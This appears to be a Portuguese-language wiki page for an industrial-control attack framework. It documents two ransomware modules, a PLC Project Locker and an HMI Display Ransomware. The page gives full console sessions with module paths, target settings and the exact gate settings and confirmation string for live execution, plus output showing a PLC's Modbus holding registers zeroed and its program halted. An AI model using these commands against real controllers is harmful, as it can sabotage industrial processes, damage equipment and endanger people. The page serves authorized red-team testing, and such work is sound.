Skip to content

Simulacao Ransomware

André Henrique edited this page Jun 8, 2026 · 1 revision

Idioma: Português (pt-BR) | English: Ransomware-Simulation

Simulação de Ransomware

AVISO LEGAL: Os módulos de ransomware e wiper destinam-se exclusivamente a testes de segurança autorizados, pesquisa e uso educacional. A execução ao vivo contra sistemas sem autorização escrita explícita constitui crime federal. Os autores e a União Geek não assumem qualquer responsabilidade por uso indevido.


O Sistema de Tripla Barreira

Os módulos de ransomware OT implementam uma tripla barreira - três verificações de segurança independentes que devem ser contornadas em sequência antes de qualquer payload ao vivo ser executado.

Por que a tripla barreira?

O ransomware OT/ICS possui um perfil de risco único em comparação ao ransomware de TI:

  1. Consequências físicas - paralisar um CLP pode causar danos a equipamentos, descontrole do processo ou falha nos sistemas de segurança
  2. Recuperação difícil - restaurar a lógica do CLP pode exigir engenheiros do fabricante no local
  3. Efeitos em cascata - um único dispositivo comprometido pode afetar toda a linha de produção
  4. Gravidade legal - a execução não autorizada pode configurar sabotagem de infraestrutura crítica

A tripla barreira foi projetada para tornar a execução ao vivo acidental ou impulsiva impossível, mantendo a viabilidade para testes legítimos de red team em ambientes autorizados.

Como a tripla barreira funciona

Gate 1: simulate = False
         "Entendo que isso envia pacotes reais"

Gate 2: destructive = True
         "Entendo que isso pode causar danos irreversíveis"

Gate 3: explicit_confirm = "I_UNDERSTAND_THIS_IS_DESTRUCTIVE"
         "Estou digitando uma string de confirmação que não posso digitar por engano"

         + Temporizador de espera opcional para módulos CATASTRÓFICOS (10 segundos)

As três barreiras devem ser configuradas antes de run ser chamado. A ausência de qualquer uma delas aborta imediatamente com erro.

Estado padrão: todos os módulos são distribuídos com simulate=True, destructive=False.


PLC Project Locker

Simula um ransomware que zera todos os holding registers do CLP, interrompendo a execução do programa.

Técnica: Escrita Modbus FC16 no endereço 0, zerando todos os 125 registradores por transação.

Referência: Aviso CISA AA26-097A, TTPs do malware TRITON/TRISIS.

Modo simulate (seguro - padrão)

ixf > use exploits/ransomware/plc_project_locker
ixf (PLCProjectLocker) > set TARGET 192.168.1.10
ixf (PLCProjectLocker) > set PORT 502
ixf (PLCProjectLocker) > set UNIT_ID 1
ixf (PLCProjectLocker) > run

[SIMULATE] PLC Project Locker
[SIMULATE] Target: 192.168.1.10:502 unit_id=1
[SIMULATE] Would write zeros to holding registers: FC16 @ addr 0 len 125
[SIMULATE] 2 FC16 requests required (123 + 2 registers)
[SIMULATE] Effect: PLC halts ladder logic execution
[SIMULATE] CISA AA26-097A TTP: "Stop PLC" via register wipe

[!] To execute live, set all three gates:
[!]   set simulate false
[!]   set destructive true
[!]   set explicit_confirm I_UNDERSTAND_THIS_IS_DESTRUCTIVE

Fluxo de execução ao vivo (somente lab autorizado)

ixf (PLCProjectLocker) > set simulate false
ixf (PLCProjectLocker) > set destructive true
ixf (PLCProjectLocker) > run

[!] ============================================================
[!]  DESTRUCTIVE OPERATION WARNING
[!]  Module: PLC Project Locker
[!]  Impact: CATASTROPHIC
[!]  Target: 192.168.1.10:502
[!]  Action: Zero all holding registers via FC16
[!]  Effect: PLC halts program execution immediately
[!] ============================================================
[!]  You MUST have explicit written authorization.
[!]  Type the exact confirmation string to continue:
[!]  > I_UNDERSTAND_THIS_IS_DESTRUCTIVE
[?] Confirm: I_UNDERSTAND_THIS_IS_DESTRUCTIVE
[*] Confirmation accepted. Executing in 10 seconds... Ctrl+C to abort.
[10] [9] [8] [7] [6] [5] [4] [3] [2] [1]
[*] Connecting to 192.168.1.10:502...
[+] FC16 @ addr=0 len=125: OK
[+] FC16 @ addr=123 len=2: OK
[+] PLC registers zeroed. Program execution halted.
[*] Operation logged to .log/destructive_ops_2026-06-08.log

HMI Display Ransomware

Simula um ransomware com mensagem escrita nos registradores de exibição do HMI, bloqueando a interface do operador.

Técnica: Escrita Modbus FC16 nos registradores de exibição do HMI, codificando texto de resgate em ASCII.

Referência: TTP de manipulação de HMI do TRITON/TRISIS.

Modo simulate

ixf > use exploits/ransomware/hmi_display_ransomware
ixf (HMIDisplayRansomware) > set TARGET 192.168.1.20
ixf (HMIDisplayRansomware) > set PORT 502
ixf (HMIDisplayRansomware) > set DISPLAY_REGISTER 1000
ixf (HMIDisplayRansomware) > run

[SIMULATE] HMI Display Ransomware
[SIMULATE] Target: 192.168.1.20:502
[SIMULATE] Display register: 1000
[SIMULATE] Would write 20 registers (40 chars) at register 1000
[SIMULATE] Encoded message: "YOUR SYSTEM IS LOCKED..."
[SIMULATE] HMI would show ransomware message replacing process display
[SIMULATE] Based on TRITON/TRISIS HMI manipulation TTP

[!] Triple gate required for live execution

Resumo dos Módulos

Módulo Caminho Impacto Barreira
plc_project_locker exploits/ransomware/ CATASTRÓFICO Tripla barreira + temporizador 10s
hmi_display_ransomware exploits/ransomware/ CATASTRÓFICO Tripla barreira + temporizador 10s

Uso Seguro dos Módulos de Ransomware em Laboratório

Configuração recomendada do lab

  1. Use uma rede isolada (sem conectividade com a produção)
  2. Implante o Configuracao-Laboratorio como alvo seguro - ele simula um CLP sem consequências físicas
  3. Habilite captura de rede: tcpdump -w lab_session.pcap -i eth0
  4. Execute em modo simulate primeiro - verifique se a saída esperada corresponde ao seu cenário
  5. Confirme que a documentação de autorização está em vigor antes de execução ao vivo

Conpot como alvo seguro

# Iniciar o Conpot via configuração de lab do IXF
ixf > use assessment/lab_environment_setup
ixf (ICSLab) > set INCLUDE_CONPOT true
ixf (ICSLab) > set OUTPUT_DIR /tmp/ics_lab
ixf (ICSLab) > run

# O Conpot escuta em 172.20.0.10:502 - alvo seguro para testes ao vivo do módulo de ransomware

O que é registrado

Todas as operações destrutivas ao vivo são registradas no arquivo .log/destructive_ops_YYYY-MM-DD.log:

[2026-06-08 14:32:10] MODULE=plc_project_locker TARGET=172.20.0.10:502 IMPACT=CATASTROPHIC
[2026-06-08 14:32:10] USER_CONFIRM=I_UNDERSTAND_THIS_IS_DESTRUCTIVE
[2026-06-08 14:32:21] RESULT=OK registers_zeroed=125

Aviso Legal: Os módulos de ransomware e wiper destinam-se exclusivamente a testes de segurança autorizados, pesquisa e uso educacional. A execução ao vivo contra sistemas sem autorização escrita explícita constitui crime federal. Os autores e a União Geek não assumem qualquer responsabilidade por uso indevido. O uso desta ferramenta implica na aceitação integral destes termos.

Autor: André Henrique (@mrhenrike) | União Geek | https://uniaogeek.com.br/

Clone this wiki locally